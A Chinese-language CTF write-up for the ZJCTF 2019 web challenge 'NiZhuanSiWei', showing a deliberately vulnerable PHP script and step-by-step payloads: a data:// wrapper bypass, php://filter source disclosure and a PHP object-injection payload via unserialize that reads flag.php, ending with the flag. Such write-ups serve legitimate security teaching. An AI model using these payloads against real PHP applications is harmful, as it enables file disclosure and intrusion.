📕 WriteUp
Search
K
Comment on page

ZJCTF 2019

Web

NiZhuanSiWei

题目

<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

伪协议

题目中使用 file_get_contents($text,'r') ,因此想到使用伪协议进行传入。
welcome to the zjctf 进行 base64 编码可以得到 d2VsY29tZSB0byB0aGUgempjdGY=
构造 payload text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY= 即可绕过第一个 if 判断
通过 useless.php 可以得知存在该文件,并且存在文件包含,故尝试使用 file:// 伪协议来获取 useless.php 的源代码,即构造 pyaload text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&&file=php://filter/read=convert.base64-encode/resource=useless.php 。进行 base64 解码后可以得到 useless.php 的源代码
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

反序列化

$password = unserialize($password);
echo $password;
可以发现 echo $password; 会触发 __tostring() 魔法函数,先进行序列化的构造
<?php
class Flag{ //flag.php
public $file;
public function __construct() {
$this->file = "php://filter/read=convert.base64-encode/resource=flag.php";
}
public function __tostring() {
if (isset($this->file)) {
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
echo serialize(new Flag());
可以得到 O:4:"Flag":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}
通过构造 payload text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&&file=useless.php&&password=O:4:"Flag":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";} 就可以得到 flag.php 的内容如下
<br>oh u find it </br>
<!--but i cant give it to u now-->
<?php
if(2===3){
return ("flag{fc224e21-fd69-4f3c-937f-b67ee5edccdb}");
}
?>
那么这题就解答完毕力!